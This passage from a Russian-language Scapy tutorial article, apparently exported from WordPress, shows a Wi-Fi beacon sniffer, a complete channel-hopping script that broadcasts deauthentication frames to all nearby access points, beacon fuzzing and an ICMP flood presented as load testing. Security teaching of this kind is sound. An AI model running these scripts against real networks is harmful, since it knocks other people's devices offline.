\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0441\u0435\u0431\u044f \u0434\u043e\u043b\u0433\u043e \u0436\u0434\u0430\u0442\u044c.   <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; negotiate_trunk()<\/code><\/pre>\n<p>  <\/p>\n<h4>802.11<\/h4>\n<p>  Scapy \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u043c\u0438 \u0441\u0435\u0442\u044f\u043c\u0438, \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c Aircrack-ng. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u0442\u0430\u043a.<\/p>\n<pre><code class=\"python\">from scapy.all import *  ap_list = [] def ssid(pkt) :      if pkt.haslayer(Dot11) :          if pkt.type == 0 and pkt.subtype == 8:      # type 0 subtype 8 - Beacon packet type             if pkt.addr2 not in ap_list:                 ap_list.append(pkt.addr2)                 print &quot;AP: %s SSID: %s&quot; % (ptk.addr2, ptk.info) \t\t\t\t sniff(iface='mon0', prn=ssid)<\/code><\/pre>\n<p>\u0414\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0447\u0442\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u043e\u0441\u043b\u043e\u0436\u043d\u0435\u0435. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u0412\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438. \u041a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u044d\u0442\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u043d\u0435 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u0442\u044c \u043a \u0440\u0430\u0434\u0438\u043e\u0447\u0430\u0441\u0442\u043e\u0442\u043d\u044b\u043c \u0433\u043b\u0443\u0448\u0438\u0442\u0435\u043b\u044f\u043c? \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u044f\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c Deauth \u043f\u0430\u043a\u0435\u0442\u0430.   <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u0438\u043f\u0442 \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 Deauth \u043f\u0430\u043a\u0435\u0442\u043e\u0432<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">from scapy.all import * import random, time, sys from multiprocessing import Process  iface='mon0' def wifi_snif(): \tpkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp)) \tu_pkt = [] \tu_addr2 = [] \tfor p in pkt: \t\tif p.addr2 not in u_addr2: \t\t\tu_pkt.append(p) \t\t\tu_addr2.append(p.addr2) \treturn u_pkt  def deauth(pkt): \tos.system(&quot;iw dev %s set channel %d&quot; % (iface, ord(pkt[Dot11Elt:3].info))) \tsendp(RadioTap()\/Dot11(type=0, subtype=12, addr1=&quot;ff:ff:ff:ff:ff:ff&quot;, addr2=pkt.addr2, addr3=pkt.addr3)\/Dot11Deauth(),count=4, iface=iface, verbose=0)  def chg_cnl(): \twhile True: \t\tcnl = random.randrange(1,12) \t\tos.system(&quot;iw dev %s set channel %d&quot; % (iface, cnl)) \t\ttime.sleep(0.3)  def main_fnc(): \tp = Process(target=chg_cnl) \tp.start() \tpkt_ssid = wifi_snif() \tp.terminate() \tfor pkt in pkt_ssid: \t\tdeauth(pkt)  while 1: \tmain_fnc() <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u041d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0434\u0430\u0447\u0430\u043c \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u0432 scapy \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u0444\u0430\u0437\u0437\u0438\u043d\u0433 Beacon \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a.  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt;sendp(RadioTap(version=0, pad=0)\/          Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')\/          Dot11Beacon(cap=&quot;ESS&quot;) \/           fuzz(Dot11Elt(ID=&quot;SSID&quot;))\/          fuzz(Dot11Elt(ID=&quot;Rates&quot;)\/          fuzz(ID=&quot;DSset&quot;))\/          fuzz(Dot11Elt(ID=&quot;TIM&quot;)),          iface=&quot;mon0&quot;, count=10, inter=0.05, verbose=0) <\/code><\/pre>\n<h4>\u041d\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u043e\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h4>\n<p>  \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043d\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u043f\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e, \u0443 \u043c\u0435\u043d\u044f \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 scapy \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u044b \u0441\u0432\u044f\u0437\u0438. \u042f \u0432 \u044d\u0442\u043e\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0451\u043c \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u0432\u0430\u0436\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043d\u043e \u0432\u0441\u0435 \u0436\u0435. \u0412 scapy \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435.<\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendpfast((Ether(dst='targetMAC')\/IP(dst='targetIP')\/ICMP('A'*100)*100, loop=1000)<\/code><\/pre>\n<p>\u041f\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/f68\/23e\/433\/f6823e433f3b404f80a4991f88a5d8e6.jpg\"\/><br \/>  \u041d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043f\u0440\u0438\u0435\u043c\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0437\u0430\u043c\u0435\u0440 wireshark&#8217;\u043e\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0446\u0438\u0444\u0440\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f. <\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/124\/9e1\/705\/1249e1705a2e4d6a84c7220bf95081a7.jpg\"\/><\/p>\n<h4>\u0418\u0442\u043e\u0433\u0438<\/h4>\n<p>  \u0418\u0442\u0430\u043a, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0438\u043c \u0434\u043e\u0441\u0442\u043e\u0438\u043d\u0441\u0442\u0432\u0430.<br \/>  1) \u041d\u0430\u0433\u043b\u044f\u0434\u043d\u043e\u0441\u0442\u044c (\u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u044c)<br \/>  2) \u0413\u0438\u0431\u043a\u043e\u0441\u0442\u044c (\u043f\u0430\u043a\u0435\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u0443\u0433\u043e\u0434\u043d\u043e)<br \/>  3) \u0420\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c (\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432)<br \/>  4) Python<br \/>  \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0412\u044b \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u0435 \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043a\u0430\u043a scapy. \u0415\u0441\u043b\u0438 \u0431\u0443\u0434\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0441\u0442\u0430\u0442\u044c\u0435, \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c(\u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0438 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c) \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0432 scapy. <\/p>\n<p>  P.S.<br \/>  \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e scapy \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043e <a href=\"http:\/\/scapy.net\/\">scapy.net<\/a>. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 <a href=\"http:\/\/www.secdev.org\/projects\/scapy\/doc\/usage.html#interactive-tutorial\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a> scapy.      \t<\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/249563\/\"> http:\/\/habrahabr.ru\/post\/249563\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>     \t<a href=\"http:\/\/www.secdev.org\/projects\/scapy\/\">Scapy<\/a> \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 python, \u0430\u0432\u0442\u043e\u0440 Philippe Biondi. \u041f\u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430\u043c \u043c\u043e\u0436\u043d\u043e <a href=\"http:\/\/habrahabr.ru\/company\/pentestit\/blog\/208786\/\">\u0437\u0434\u0435\u0441\u044c<\/a>. Scapy \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439, \u043f\u043e\u0438\u0441\u0442\u0438\u043d\u0435 \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0435\u0442\u044c\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u044e\u0441\u044c \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0412\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c scapy \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\/\u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445. \u0414\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430\u0437\u0430\u0432 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430 scapy. <br \/>  \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u044f \u0432\u043e\u0437\u044c\u043c\u0443 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 scapy. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u043e\u0433\u043e \u0438\u043b\u0438 \u0438\u043d\u043e\u0433\u043e \u0432\u0438\u0434\u0430 \u0430\u0442\u0430\u043a.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-252687","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/252687","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=252687"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/252687\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=252687"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=252687"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=252687"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}